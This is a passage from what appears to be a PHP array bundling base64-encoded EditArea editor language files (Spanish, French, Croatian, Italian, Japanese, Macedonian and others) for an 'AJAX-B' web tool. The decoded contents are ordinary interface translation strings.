IG1hbGxvbmdhaiB0ZWtzdG9qLiIsDQp0b2dnbGU6ICJiYXNrdWxpZ2kgbGEgcmVkYWt0aWxvbiIsDQphY2Nlc3NrZXk6ICJGdWxtb2tsYXZvIiwNCnRhYjogIlRhYiIsDQpzaGlmdDogIk1haiIsDQpjdHJsOiAiS3RybCIsDQplc2M6ICJFc2siLA0KcHJvY2Vzc2luZzogIiYjMzQ5O2FyZ2FudGUuLi4iLA0KZnVsbHNjcmVlbjogInBsZW5la3JhbmUiLA0Kc3ludGF4X3NlbGVjdGlvbjogIi0tU2ludGFrc28tLSIsDQpzeW50YXhfY3NzOiAiQ1NTIiwNCnN5bnRheF9odG1sOiAiSFRNTCIsDQpzeW50YXhfanM6ICJKYXZhc2NyaXB0IiwNCnN5bnRheF9waHA6ICJQaHAiLA0Kc3ludGF4X3B5dGhvbjogIlBpdG9ubyIsDQpzeW50YXhfdmI6ICJWaXN1YWwgQmFzaWMiLA0Kc3ludGF4X3htbDogIlhtbCIsDQpzeW50YXhfYzogIkMiLA0Kc3ludGF4X2NwcDogIkNQUCIsDQpzeW50YXhfYmFzaWM6ICJCYXNpYyIsDQpzeW50YXhfcGFzOiAiUGFzY2FsIiwNCnN5bnRheF9icmFpbmZ1Y2s6ICJCcmFpbmZ1Y2siLA0Kc3ludGF4X3NxbDogIlNRTCIsDQpzeW50YXhfcnVieTogIlJ1YnkiLA0Kc3ludGF4X3JvYm90c3R4dDogIlJvYm90cyB0eHQiLA0Kc3ludGF4X3RzcWw6ICJULVNRTCIsDQpzeW50YXhfcGVybDogIlBlcmwiLA0Kc3ludGF4X2NvbGRmdXNpb246ICJDb2xkZnVzaW9uIiwNCmNsb3NlX3RhYjogIkZlcm1pIGxhIGRvc2llcm9uIg0KfTs=',
  './AJAX-B/edit_area/langs/es.js' => 'ZWRpdEFyZWFMb2FkZXIubGFuZ1siZXMiXT17DQpuZXdfZG9jdW1lbnQ6ICJudWV2byBkb2N1bWVudG8gdmFjw61vIiwNCnNlYXJjaF9idXR0b246ICJidXNjYXIgeSByZWVtcGxhemFyIiwNCnNlYXJjaF9jb21tYW5kOiAiYnVzY2FyIHNpZ3VpZW50ZSAvIGFicmlyIMOhcmVhIGRlIGLDunNxdWVkYSIsDQpzZWFyY2g6ICJidXNjYXIiLA0KcmVwbGFjZTogInJlZW1wbGF6YXIiLA0KcmVwbGFjZV9jb21tYW5kOiAicmVlbXBsYXphciAvIGFicmlyIMOhcmVhIGRlIGLDunNxdWVkYSIsDQpmaW5kX25leHQ6ICJlbmNvbnRyYXIgc2lndWllbnRlIiwNCnJlcGxhY2VfYWxsOiAicmVlbXBsYXphciB0b2RvcyIsDQpyZWdfZXhwOiAiZXhwcmVzaW9uZXMgcmVndWxhcmVzIiwNCm1hdGNoX2Nhc2U6ICJjb2luY2lkaXIgY2FwaXRhbGl6YWNpw7NuIiwNCm5vdF9mb3VuZDogIm5vIGVuY29udHJhZG8uIiwNCm9jY3VycmVuY2VfcmVwbGFjZWQ6ICJvY3VycmVuY2lhcyByZWVtcGxhemFkYXMuIiwNCnNlYXJjaF9maWVsZF9lbXB0eTogIkNhbXBvIGRlIGLDunNxdWVkYSB2YWPDrW8iLA0KcmVzdGFydF9zZWFyY2hfYXRfYmVnaW46ICJTZSBoYSBsbGVnYWRvIGFsIGZpbmFsIGRlbCDDoXJlYS4gU2UgdmEgYSBzZWd1aXIgZGVzZGUgZWwgcHJpbmNpcGlvLiIsDQptb3ZlX3BvcHVwOiAibW92ZXIgbGEgdmVudGFuYSBkZSBiw7pzcXVlZGEiLA0KZm9udF9zaXplOiAiLS1UYW1hw7FvIGRlIGxhIGZ1ZW50ZS0tIiwNCmdvX3RvX2xpbmU6ICJpciBhIGxhIGzDrW5lYSIsDQpnb190b19saW5lX3Byb21wdDogImlyIGEgbGEgbMOtbmVhIG7Dum1lcm86IiwNCnVuZG86ICJkZXNoYWNlciIsDQpyZWRvOiAicmVoYWNlciIsDQpjaGFuZ2Vfc21vb3RoX3NlbGVjdGlvbjogImFjdGl2YXIvZGVzYWN0aXZhciBhbGd1bmFzIGNhcmFjdGVyw61zdGljYXMgZGUgdmlzdWFsaXphY2nDs24gKHZpc3VhbGl6YWNpw7NuIG3DoXMgaW50ZWxpZ2VudGUgcGVybyBtw6FzIGNhcmdhIGRlIENQVSkiLA0KaGlnaGxpZ2h0OiAiaW50ZXJjYW1iaWFyIHJlc2FsdGFkbyBkZSBzaW50YXhpcyIsDQpyZXNldF9oaWdobGlnaHQ6ICJyZWluaWNpYWxpemFyIHJlc2FsdGFkbyAoc2kgbm8gZXN0YSBzaW5jcm9uaXphZG8gY29uIGVsIHRleHRvKSIsDQpoZWxwOiAiYWNlcmNhIiwNCnNhdmU6ICJndWFyZGFyIiwNCmxvYWQ6ICJjYXJnYXIiLA0KbGluZV9hYmJyOiAiTG4iLA0KY2hhcl9hYmJyOiAiQ2giLA0KcG9zaXRpb246ICJQb3NpY2nDs24iLA0KdG90YWw6ICJUb3RhbCIsDQpjbG9zZV9wb3B1cDogInJlY3VhZHJvIGRlIGNpZXJyZSIsDQpzaG9ydGN1dHM6ICJBdGFqb3MiLA0KYWRkX3RhYjogImHDsWFkaXIgdGFidWxhZG8gYWwgdGV4dG8iLA0KcmVtb3ZlX3RhYjogImJvcnJhciB0YWJ1bGFkbyBkZWwgdGV4dG8iLA0KYWJvdXRfbm90aWNlOiAiQXZpc286IGVsIHJlc2FsdGFkbyBkZSBzaW50YXhpcyBzw7NsbyBmdW5jaW9uYSBwYXJhIHRleHRvIHBlcXVlw7FvIiwNCnRvZ2dsZTogIkNhbWJpYXIgZWRpdG9yIiwNCmFjY2Vzc2tleTogIlRlY2xhIGRlIGFjY2VzbyIsDQp0YWI6ICJUYWIiLA0Kc2hpZnQ6ICJNYXnDunNjIiwNCmN0cmw6ICJDdHJsIiwNCmVzYzogIkVzYyIsDQpwcm9jZXNzaW5nOiAiUHJvY2VzYW5kby4uLiIsDQpmdWxsc2NyZWVuOiAicGFudGFsbGEgY29tcGxldGEiLA0Kc3ludGF4X3NlbGVjdGlvbjogIi0tU3ludGF4LS0iLA0Kc3ludGF4X2NzczogIkNTUyIsDQpzeW50YXhfaHRtbDogIkhUTUwiLA0Kc3ludGF4X2pzOiAiSmF2YXNjcmlwdCIsDQpzeW50YXhfcGhwOiAiUGhwIiwNCnN5bnRheF9weXRob246ICJQeXRob24iLA0Kc3ludGF4X3ZiOiAiVmlzdWFsIEJhc2ljIiwNCnN5bnRheF94bWw6ICJYbWwiLA0Kc3ludGF4X2M6ICJDIiwNCnN5bnRheF9jcHA6ICJDUFAiLA0Kc3ludGF4X2Jhc2ljOiAiQmFzaWMiLA0Kc3ludGF4X3BhczogIlBhc2NhbCIsDQpzeW50YXhfYnJhaW5mdWNrOiAiQnJhaW5mdWNrIiwNCnN5bnRheF9zcWw6ICJTUUwiLA0Kc3ludGF4X3J1Ynk6ICJSdWJ5IiwNCnN5bnRheF9jb2xkZnVzaW9uOiAiQ29sZGZ1c2lvbiIsDQpjbG9zZV90YWI6ICJDbG9zZSBmaWxlIg0KfTsNCg==',
  './AJAX-B/edit_area/langs/fr.js' => 'ZWRpdEFyZWFMb2FkZXIubGFuZ1siZnIiXT17DQpuZXdfZG9jdW1lbnQ6ICJub3V2ZWF1IGRvY3VtZW50IChlZmZhY2UgbGUgY29udGVudSkiLA0Kc2VhcmNoX2J1dHRvbjogInJlY2hlcmNoZXIgLyByZW1wbGFjZXIiLA0Kc2VhcmNoX2NvbW1hbmQ6ICJyZWNoZXJjaGVyIHN1aXZhbnQgLyBvdXZyaXIgbGEgZmVuJmVjaXJjO3RyZSBkZSByZWNoZXJjaGUiLA0Kc2VhcmNoOiAicmVjaGVyY2hlciIsDQpyZXBsYWNlOiAicmVtcGxhY2VyIiwNCnJlcGxhY2VfY29tbWFuZDogInJlbXBsYWNlciAvIG91dnJpciBsYSBmZW4mZWNpcmM7dHJlIGRlIHJlY2hlcmNoZSIsDQpmaW5kX25leHQ6ICJyZWNoZXJjaGVyIiwNCnJlcGxhY2VfYWxsOiAidG91dCByZW1wbGFjZXIiLA0KcmVnX2V4cDogImV4cHIuIHImZWFjdXRlO2d1bGkmZWdyYXZlO3JlIiwNCm1hdGNoX2Nhc2U6ICJyZXNwZWN0ZXIgbGEgY2Fzc2UiLA0Kbm90X2ZvdW5kOiAicGFzIHRyb3V2JmVhY3V0ZTsuIiwNCm9jY3VycmVuY2VfcmVwbGFjZWQ6ICJyZW1wbGFjZW1lbnRzICZlYWN1dGU7ZmZlY3R1JmVhY3V0ZTtzLiIsDQpzZWFyY2hfZmllbGRfZW1wdHk6ICJMZSBjaGFtcCBkZSByZWNoZXJjaGUgZXN0IHZpZGUuIiwNCnJlc3RhcnRfc2VhcmNoX2F0X2JlZ2luOiAiRmluIGR1IHRleHRlIGF0dGVpbnQsIHBvdXJzdWl0ZSBhdSBkJmVhY3V0ZTtidXQuIiwNCm1vdmVfcG9wdXA6ICJkJmVhY3V0ZTtwbGFjZXIgbGEgZmVuJmVjaXJjO3RyZSBkZSByZWNoZXJjaGUiLA0KZm9udF9zaXplOiAiLS1UYWlsbGUgcG9saWNlLS0iLA0KZ29fdG9fbGluZTogImFsbGVyICZhZ3JhdmU7IGxhIGxpZ25lIiwNCmdvX3RvX2xpbmVfcHJvbXB0OiAiYWxsZXIgYSBsYSBsaWduZSBudW1lcm86IiwNCnVuZG86ICJhbm51bGVyIiwNCnJlZG86ICJyZWZhaXJlIiwNCmNoYW5nZV9zbW9vdGhfc2VsZWN0aW9uOiAiYWN0aXZlci9kJmVhY3V0ZTtzYWN0aXZlciBkZXMgZm9uY3Rpb25zIGQnYWZmaWNoYWdlIChtZWlsbGV1ciBhZmZpY2hhZ2UgbWFpcyBwbHVzIGRlIGNoYXJnZSBwcm9jZXNzZXVyKSIsDQpoaWdobGlnaHQ6ICJhY3RpdmVyL2QmZWFjdXRlO3NhY3RpdmVyIGxhIGNvbG9yYXRpb24gc3ludGF4aXF1ZSIsDQpyZXNldF9oaWdobGlnaHQ6ICJyJmVhY3V0ZTtpbml0aWFsaXNlciBsYSBjb2xvcmF0aW9uIHN5bnRheGlxdWUgKHNpIGQmZWFjdXRlO3N5bmNyb25pcyZlYWN1dGU7ZSBkdSB0ZXh0ZSkiLA0KaGVscDogIiZhZ3JhdmU7IHByb3BvcyIsDQpzYXZlOiAic2F1dmVnYXJkZXIiLA0KbG9hZDogImNoYXJnZXIiLA0KbGluZV9hYmJyOiAiTG4iLA0KY2hhcl9hYmJyOiAiQ2giLA0KcG9zaXRpb246ICJQb3NpdGlvbiIsDQp0b3RhbDogIlRvdGFsIiwNCmNsb3NlX3BvcHVwOiAiZmVybWVyIGxlIHBvcHVwIiwNCnNob3J0Y3V0czogIlJhY291cmNpcyBjbGF2aWVyIiwNCmFkZF90YWI6ICJham91dGVyIHVuZSB0YWJ1bGF0aW9uIGRhbnMgbGUgdGV4dGUiLA0KcmVtb3ZlX3RhYjogInJldGlyZXIgdW5lIHRhYnVsYXRpb24gZGFucyBsZSB0ZXh0ZSIsDQphYm91dF9ub3RpY2U6ICJOb3RlOiBsYSBjb2xvcmF0aW9uIHN5bnRheGlxdWUgbidlc3QgcHImZWFjdXRlO3Z1ZSBxdWUgcG91ciBkZSBjb3VydHMgdGV4dGVzLiIsDQp0b2dnbGU6ICJiYXNjdWxlciBsJyZlYWN1dGU7ZGl0ZXVyIiwNCmFjY2Vzc2tleTogIkFjY2Vzc2tleSIsDQp0YWI6ICJUYWIiLA0Kc2hpZnQ6ICJNYWoiLA0KY3RybDogIkN0cmwiLA0KZXNjOiAiRXNjIiwNCnByb2Nlc3Npbmc6ICJjaGFyZ2VtZW50Li4uIiwNCmZ1bGxzY3JlZW46ICJwbGVpbiAmZWFjdXRlO2NyYW4iLA0Kc3ludGF4X3NlbGVjdGlvbjogIi0tU3ludGF4ZS0tIiwNCnN5bnRheF9jc3M6ICJDU1MiLA0Kc3ludGF4X2h0bWw6ICJIVE1MIiwNCnN5bnRheF9qczogIkphdmFzY3JpcHQiLA0Kc3ludGF4X3BocDogIlBocCIsDQpzeW50YXhfcHl0aG9uOiAiUHl0aG9uIiwNCnN5bnRheF92YjogIlZpc3VhbCBCYXNpYyIsDQpzeW50YXhfeG1sOiAiWG1sIiwNCnN5bnRheF9jOiAiQyIsDQpzeW50YXhfY3BwOiAiQ1BQIiwNCnN5bnRheF9iYXNpYzogIkJhc2ljIiwNCnN5bnRheF9wYXM6ICJQYXNjYWwiLA0Kc3ludGF4X2JyYWluZnVjazogIkJyYWluZnVjayIsDQpzeW50YXhfc3FsOiAiU1FMIiwNCnN5bnRheF9ydWJ5OiAiUnVieSIsDQpzeW50YXhfcm9ib3RzdHh0OiAiUm9ib3RzIHR4dCIsDQpzeW50YXhfdHNxbDogIlQtU1FMIiwNCnN5bnRheF9wZXJsOiAiUGVybCIsDQpzeW50YXhfY29sZGZ1c2lvbjogIkNvbGRmdXNpb24iLA0KY2xvc2VfdGFiOiAiRmVybWVyIGxlIGZpY2hpZXIiDQp9Ow0K',
  './AJAX-B/edit_area/langs/hr.js' => 'ZWRpdEFyZWFMb2FkZXIubGFuZ1siaHIiXT17Cm5ld19kb2N1bWVudDogIk5vdmkgZG9rdW1lbnQiLApzZWFyY2hfYnV0dG9uOiAiVHJhxb5pIGkgaXptaWplbmkiLApzZWFyY2hfY29tbWFuZDogIlRyYcW+aSBkYWxqZSAvIE90dm9yaSBwcm96b3IgemEgdHJhxb5lbmplIiwKc2VhcmNoOiAiVHJhxb5pIiwKcmVwbGFjZTogIkl6bWlqZW5pIiwKcmVwbGFjZV9jb21tYW5kOiAiSXptaWplbmkgLyBPdHZvcmkgcHJvem9yIHphIHRyYcW+ZW5qZSIsCmZpbmRfbmV4dDogIlRyYcW+aSBkYWxqZSIsCnJlcGxhY2VfYWxsOiAiSXptamVuaSBzdmUiLApyZWdfZXhwOiAiUmVndWxhcm5pIGl6cmF6aSIsCm1hdGNoX2Nhc2U6ICJCaXRuYSB2ZWwuIHNsb3ZhIiwKbm90X2ZvdW5kOiAibmlqZSBuYcOwZW5vLiIsCm9jY3VycmVuY2VfcmVwbGFjZWQ6ICJpem1qZW5qZW5paC4iLApzZWFyY2hfZmllbGRfZW1wdHk6ICJQcmF6bm8gcG9samUgemEgdHJhxb5lbmplISIsCnJlc3RhcnRfc2VhcmNoX2F0X2JlZ2luOiAiRG/FoWFvIGRvIGtyYWphLiBQb8OoZW8gb2QgcG/DqGV0a2EuIiwKbW92ZV9wb3B1cDogIlBvbWFrbmkgcHJvem9yIiwKZm9udF9zaXplOiAiLS1WZWxpw6hpbmEgdGVrc3RhLS0iLApnb190b19saW5lOiAiT2RpIG5hIHJlZGFrIiwKZ29fdG9fbGluZV9wcm9tcHQ6ICJPZGkgbmEgcmVkYWs6IiwKdW5kbzogIlZyYXRpIG5hdHJhZyIsCnJlZG86ICJOYXByYXZpIHBvbm92byIsCmNoYW5nZV9zbW9vdGhfc2VsZWN0aW9uOiAiVWtsanXDqGkvaXNrbGp1w6hpIG5la2UgbW9ndcOmbm9zdGkgcHJpa2F6YSAocGFtZXRuaWppIHByaWtheiwgYWxpIHphZ3XFoWVuaWppIENQVSkiLApoaWdobGlnaHQ6ICJVa2xqdcOoaS9pc2tsanXDqGkgYm9qYW5qZSBzaW50YWtzZSIsCnJlc2V0X2hpZ2hsaWdodDogIlBvbm92aSBrb2xvcml6YWNpanUgKGFrbyBqZSBuZXNpbmtyb25pemlyYW5hIHMgdGVrc3RvbSkiLApoZWxwOiAiTyBlZGl0X2FyZWEiLApzYXZlOiAiU3ByZW1pIiwKbG9hZDogIlXDqGl0YWoiLApsaW5lX2FiYnI6ICJMbiIsCmNoYXJfYWJicjogIlpuIiwKcG9zaXRpb246ICJQb3ppY2lqYSIsCnRvdGFsOiAiVWt1cG5vIiwKY2xvc2VfcG9wdXA6ICJaYXR2b3JpIHByb3pvciIsCnNob3J0Y3V0czogIktyYXRpY2UiLAphZGRfdGFiOiAiRG9kYWogdGFidWxhY2lqdSIsCnJlbW92ZV90YWI6ICJNYWtuaSB0YWJ1bGFjaWp1IiwKYWJvdXRfbm90aWNlOiAiTmFwb21lbmE6IGtvbG9yaXppcmFuamUgc2ludGFrc2UgamUgc2FtbyB6YSBrcmF0a2Uga29kb3ZlIiwKdG9nZ2xlOiAiUHJlYmFjaSBuYcOoaW4gdXJlw7BpdmFuamEiLAphY2Nlc3NrZXk6ICJBY2Nlc3NrZXkiLAp0YWI6ICJUYWIiLApzaGlmdDogIlNoaWZ0IiwKY3RybDogIkN0cmwiLAplc2M6ICJFc2MiLApwcm9jZXNzaW5nOiAiUHJvY2VzaXJhbS4uLiIsCmZ1bGxzY3JlZW46ICJDaWplbGkgcHJvem9yIiwKc3ludGF4X3NlbGVjdGlvbjogIi0tU3ludGF4LS0iLApzeW50YXhfY3NzOiAiQ1NTIiwKc3ludGF4X2h0bWw6ICJIVE1MIiwKc3ludGF4X2pzOiAiSmF2YXNjcmlwdCIsCnN5bnRheF9waHA6ICJQaHAiLApzeW50YXhfcHl0aG9uOiAiUHl0aG9uIiwKc3ludGF4X3ZiOiAiVmlzdWFsIEJhc2ljIiwKc3ludGF4X3htbDogIlhtbCIsCnN5bnRheF9jOiAiQyIsCnN5bnRheF9jcHA6ICJDUFAiLApzeW50YXhfYmFzaWM6ICJCYXNpYyIsCnN5bnRheF9wYXM6ICJQYXNjYWwiLApzeW50YXhfYnJhaW5mdWNrOiAiQnJhaW5mdWNrIiwKc3ludGF4X3NxbDogIlNRTCIsCnN5bnRheF9ydWJ5OiAiUnVieSIsCnN5bnRheF9yb2JvdHN0eHQ6ICJSb2JvdHMgdHh0IiwKc3ludGF4X3RzcWw6ICJULVNRTCIsCnN5bnRheF9wZXJsOiAiUGVybCIsCnN5bnRheF9jb2xkZnVzaW9uOiAiQ29sZGZ1c2lvbiIsCmNsb3NlX3RhYjogIkNsb3NlIGZpbGUiCn07Cg==',
  './AJAX-B/edit_area/langs/it.js' => 'ZWRpdEFyZWFMb2FkZXIubGFuZ1siaXQiXT17DQpuZXdfZG9jdW1lbnQ6ICJudW92byBkb2N1bWVudG8gdnVvdG8iLA0Kc2VhcmNoX2J1dHRvbjogImNlcmNhIGUgc29zdGl0dWlzY2kiLA0Kc2VhcmNoX2NvbW1hbmQ6ICJ0cm92YSBzdWNjZXNzaXZvIC8gYXByaSBmaW5lc3RyYSBkaSByaWNlcmNhIiwNCnNlYXJjaDogImNlcmNhIiwNCnJlcGxhY2U6ICJzb3N0aXR1aXNjaSIsDQpyZXBsYWNlX2NvbW1hbmQ6ICJzb3N0aXR1aXNjaSAvIGFwcmkgZmluZXN0cmEgZGkgcmljZXJjYSIsDQpmaW5kX25leHQ6ICJ0cm92YSBzdWNjZXNzaXZvIiwNCnJlcGxhY2VfYWxsOiAic29zdGl0dWlzY2kgdHV0dGkiLA0KcmVnX2V4cDogImVzcHJlc3Npb25pIHJlZ29sYXJpIiwNCm1hdGNoX2Nhc2U6ICJjb25mcm9udGEgbWFpdXNjb2xlL21pbnVzY29sZTxiciAvPiIsDQpub3RfZm91bmQ6ICJub24gdHJvdmF0by4iLA0Kb2NjdXJyZW5jZV9yZXBsYWNlZDogIm9jY29ycmVuemUgc29zdGl0dWl0ZS4iLA0Kc2VhcmNoX2ZpZWxkX2VtcHR5OiAiQ2FtcG8gcmljZXJjYSB2dW90byIsDQpyZXN0YXJ0X3NlYXJjaF9hdF9iZWdpbjogIkZpbmUgZGVsIHRlc3RvIHJhZ2dpdW50YS4gUmljb21pbmNpbyBkYWxsJ2luaXppby4iLA0KbW92ZV9wb3B1cDogInNwb3N0YSBwb3B1cCBkaSByaWNlcmNhIiwNCmZvbnRfc2l6ZTogIi0tIERpbWVuc2lvbmUgLS0iLA0KZ29fdG9fbGluZTogInZhaSBhbGxhIGxpbmVhIiwNCmdvX3RvX2xpbmVfcHJvbXB0OiAidmFpIGFsbGEgbGluZWEgbnVtZXJvOiIsDQp1bmRvOiAiYW5udWxsYSIsDQpyZWRvOiAicmlwZXRpIiwNCmNoYW5nZV9zbW9vdGhfc2VsZWN0aW9uOiAiYWJpbGl0YS9kaXNhYmlsaXRhIGFsY3VuZSBjYXJhdHRlcmlzdGljaGUgZGVsbGEgdmlzdWFsaXp6YXppb25lIiwNCmhpZ2hsaWdodDogImFiaWxpdGEvZGlzYWJpbGl0YSBjb2xvcmF6aW9uZSBkZWxsYSBzaW50YXNzaSIsDQpyZXNldF9oaWdobGlnaHQ6ICJhZ2dpb3JuYSBjb2xvcmF6aW9uZSAoc2Ugbm9uIHNpbmNyb25penphdGEpIiwNCmhlbHA6ICJpbmZvcm1hemlvbmkgc3UuLi4iLA0Kc2F2ZTogInNhbHZhIiwNCmxvYWQ6ICJjYXJpY2EiLA0KbGluZV9hYmJyOiAiTG4iLA0KY2hhcl9hYmJyOiAiQ2giLA0KcG9zaXRpb246ICJQb3NpemlvbmUiLA0KdG90YWw6ICJUb3RhbGUiLA0KY2xvc2VfcG9wdXA6ICJjaGl1ZGkgcG9wdXAiLA0Kc2hvcnRjdXRzOiAiU2NvcmNpYXRvaWUiLA0KYWRkX3RhYjogImFnZ2l1bmdpIHRhYnVsYXppb25lIiwNCnJlbW92ZV90YWI6ICJyaW11b3ZpIHRhYnVsYXppb25lIiwNCmFib3V0X25vdGljZTogIkF2dmlzbzogbGEgY29sb3JhemlvbmUgZGVsbGEgc2ludGFzc2kgdmFsZSBzb2xvIGNvbiB0ZXN0byBwaWNjb2xvIiwNCnRvZ2dsZTogIkFiaWxpdGEvZGlzYWJpbGl0YSBlZGl0b3IiLA0KYWNjZXNza2V5OiAiQWNjZXNza2V5IiwNCnRhYjogIlRhYiIsDQpzaGlmdDogIlNoaWZ0IiwNCmN0cmw6ICJDdHJsIiwNCmVzYzogIkVzYyIsDQpwcm9jZXNzaW5nOiAiSW4gY29yc28uLi4iLA0KZnVsbHNjcmVlbjogImZ1bGxzY3JlZW4iLA0Kc3ludGF4X3NlbGVjdGlvbjogIi0tU3ludGF4LS0iLA0Kc3ludGF4X2NzczogIkNTUyIsDQpzeW50YXhfaHRtbDogIkhUTUwiLA0Kc3ludGF4X2pzOiAiSmF2YXNjcmlwdCIsDQpzeW50YXhfcGhwOiAiUGhwIiwNCnN5bnRheF9weXRob246ICJQeXRob24iLA0Kc3ludGF4X3ZiOiAiVmlzdWFsIEJhc2ljIiwNCnN5bnRheF94bWw6ICJYbWwiLA0Kc3ludGF4X2M6ICJDIiwNCnN5bnRheF9jcHA6ICJDUFAiLA0Kc3ludGF4X2Jhc2ljOiAiQmFzaWMiLA0Kc3ludGF4X3BhczogIlBhc2NhbCIsDQpzeW50YXhfYnJhaW5mdWNrOiAiQnJhaW5mdWNrIiwNCnN5bnRheF9zcWw6ICJTUUwiLA0Kc3ludGF4X3J1Ynk6ICJSdWJ5IiwNCnN5bnRheF9yb2JvdHN0eHQ6ICJSb2JvdHMgdHh0IiwNCnN5bnRheF90c3FsOiAiVC1TUUwiLA0Kc3ludGF4X3Blcmw6ICJQZXJsIiwNCnN5bnRheF9jb2xkZnVzaW9uOiAiQ29sZGZ1c2lvbiIsDQpjbG9zZV90YWI6ICJDbG9zZSBmaWxlIg0KfTsNCg==',
  './AJAX-B/edit_area/langs/ja.js' => 'ZWRpdEFyZWFMb2FkZXIubGFuZ1siamEiXT17DQpuZXdfZG9jdW1lbnQ6ICLmlrDopo/kvZzmiJAiLA0Kc2VhcmNoX2J1dHRvbjogIuaknOe0ouODu+e9ruaPmyIsDQpzZWFyY2hfY29tbWFuZDogIuasoeOCkuaknOe0oiAvIOaknOe0oueqk+OCkuihqOekuiIsDQpzZWFyY2g6ICLmpJzntKIiLA0KcmVwbGFjZTogIue9ruaPmyIsDQpyZXBsYWNlX2NvbW1hbmQ6ICLnva7mj5sgLyDnva7mj5vnqpPjgpLooajnpLoiLA0KZmluZF9uZXh0OiAi5qyh44KS5qSc57SiIiwNCnJlcGxhY2VfYWxsOiAi5YWo572u5o+bIiwNCnJlZ19leHA6ICLmraPopo/ooajnj74iLA0KbWF0Y2hfY2FzZTogIuWkp+aWh+Wtl+Wwj+aWh+Wtl+OBruWMuuWIpSIsDQpub3RfZm91bmQ6ICLopovjgaTjgYvjgorjgb7jgZvjgpPjgIIiLA0Kb2NjdXJyZW5jZV9yZXBsYWNlZDogIue9ruaPm+OBl+OBvuOBl+OBn+OAgiIsDQpzZWFyY2hfZmllbGRfZW1wdHk6ICLmpJzntKLlr77osaHmloflrZfliJfjgYznqbrjgafjgZnjgIIiLA0KcmVzdGFydF9zZWFyY2hfYXRfYmVnaW46ICLntYLnq6/jgavpgZTjgZfjgb7jgZfjgZ/jgIHlp4vjgoHjgavmiLvjgorjgb7jgZkiLA0KbW92ZV9wb3B1cDogIuaknOe0oueqk+OCkuenu+WLlSIsDQpmb250X3NpemU6ICItLeODleOCqeODs+ODiOOCteOCpOOCui0tIiwNCmdvX3RvX2xpbmU6ICLmjIflrprooYzjgbjnp7vli5UiLA0KZ29fdG9fbGluZV9wcm9tcHQ6ICLmjIflrprooYzjgbjnp7vli5XjgZfjgb7jgZk6IiwNCnVuZG86ICLlhYPjgavmiLvjgZkiLA0KcmVkbzogIuOChOOCiuebtOOBlyIsDQpjaGFuZ2Vfc21vb3RoX3NlbGVjdGlvbjogIuOCueODoOODvOOCueihqOekuuOBruWIh+OCiuabv+OBiO+8iENQVeOCkuS9v+OBhOOBvuOBme+8iSIsDQpoaWdobGlnaHQ6ICLmp4vmloflvLfoqr/ooajnpLrjga7liIfjgormm7/jgYgiLA0KcmVzZXRfaGlnaGxpZ2h0OiAi5qeL5paH5by36Kq/6KGo56S644Gu44Oq44K744OD44OIIiwNCmhlbHA6ICLjg5jjg6vjg5fjgpLooajnpLoiLA0Kc2F2ZTogIuS/neWtmCIsDQpsb2FkOiAi6Kqt44G/6L6844G/IiwNCmxpbmVfYWJicjogIuihjCIsDQpjaGFyX2FiYnI6ICLmloflrZciLA0KcG9zaXRpb246ICLkvY3nva4iLA0KdG90YWw6ICLlkIjoqIgiLA0KY2xvc2VfcG9wdXA6ICLjg53jg4Pjg5fjgqLjg4Pjg5fjgpLplonjgZjjgosiLA0Kc2hvcnRjdXRzOiAi44K344On44O844OI44Kr44OD44OIIiwNCmFkZF90YWI6ICLjgr/jg5bjgpLmjL/lhaXjgZnjgosiLA0KcmVtb3ZlX3RhYjogIuOCv+ODluOCkuWJiumZpOOBmeOCiyIsDQphYm91dF9ub3RpY2U6ICLms6jmhI/vvJrmp4vmloflvLfoqr/ooajnpLrjga/nn63jgYTjg4bjgq3jgrnjg4jjgafjgZfjgYvmnInlirnjgavmqZ/og73jgZfjgb7jgZvjgpPjgIIiLA0KdG9nZ2xlOiAi44OG44Kt44K544OI44Ko44Oq44Ki44GoZWRpdEFyZWHjga7liIfjgormm7/jgYgiLA0KYWNjZXNza2V5OiAi44Ki44Kv44K744K544Kt44O8IiwNCnRhYjogIlRhYiIsDQpzaGlmdDogIlNoaWZ0IiwNCmN0cmw6ICJDdHJsIiwNCmVzYzogIkVzYyIsDQpwcm9jZXNzaW5nOiAi5Yem55CG5Lit44Gn44GZLi4uIiwNCmZ1bGxzY3JlZW46ICJmdWxsc2NyZWVuIiwNCnN5bnRheF9zZWxlY3Rpb246ICItLVN5bnRheC0tIiwNCnN5bnRheF9jc3M6ICJDU1MiLA0Kc3ludGF4X2h0bWw6ICJIVE1MIiwNCnN5bnRheF9qczogIkphdmFzY3JpcHQiLA0Kc3ludGF4X3BocDogIlBocCIsDQpzeW50YXhfcHl0aG9uOiAiUHl0aG9uIiwNCnN5bnRheF92YjogIlZpc3VhbCBCYXNpYyIsDQpzeW50YXhfeG1sOiAiWG1sIiwNCnN5bnRheF9jOiAiQyIsDQpzeW50YXhfY3BwOiAiQ1BQIiwNCnN5bnRheF9iYXNpYzogIkJhc2ljIiwNCnN5bnRheF9wYXM6ICJQYXNjYWwiLA0Kc3ludGF4X2JyYWluZnVjazogIkJyYWluZnVjayIsDQpzeW50YXhfc3FsOiAiU1FMIiwNCnN5bnRheF9ydWJ5OiAiUnVieSIsDQpzeW50YXhfcm9ib3RzdHh0OiAiUm9ib3RzIHR4dCIsDQpzeW50YXhfdHNxbDogIlQtU1FMIiwNCnN5bnRheF9wZXJsOiAiUGVybCIsDQpzeW50YXhfY29sZGZ1c2lvbjogIkNvbGRmdXNpb24iLA0KY2xvc2VfdGFiOiAiQ2xvc2UgZmlsZSINCn07DQo=',
  './AJAX-B/edit_area/langs/mk.js' => 'ZWRpdEFyZWFMb2FkZXIubGFuZ1sibWsiXT17Cm5ld19kb2N1bWVudDogItCd0L7QsiDQtNC+0LrRg9C80LXQvdGCIiwKc2VhcmNoX2J1dHRvbjogItCd0LDRmNC00Lgg0Lgg0LfQsNC80LXQvdC4IiwKc2VhcmNoX2NvbW1hbmQ6ICLQkdCw0YDQsNGYINGB0LvQtdC00L3QviAvINCe0YLQstC+0YDQuCDQvdC+0LIg0L/RgNC+0LfQvtGA0LXRhiDQt9CwINC/0YDQtdCx0LDRgNGD0LLQsNGa0LUiLApzZWFyY2g6ICLQkdCw0YDQsNGYIiwKcmVwbGFjZTogItCX0LDQvNC10L3QuCIsCnJlcGxhY2VfY29tbWFuZDogItCX0LDQvNC10L3QuCAvINCe0YLQstC+0YDQuCDQv9GA0L7Qt9C+0YDQtdGGINC30LAg0L/RgNC10LHQsNGA0YPQstCw0ZrQtSIsCmZpbmRfbmV4dDogItC90LDRmNC00Lgg0YHQu9C10LTQvdC+IiwKcmVwbGFjZV9hbGw6ICLQl9Cw0LzQtdC90Lgg0LPQuCDRgdC40YLQtSIsCnJlZ19leHA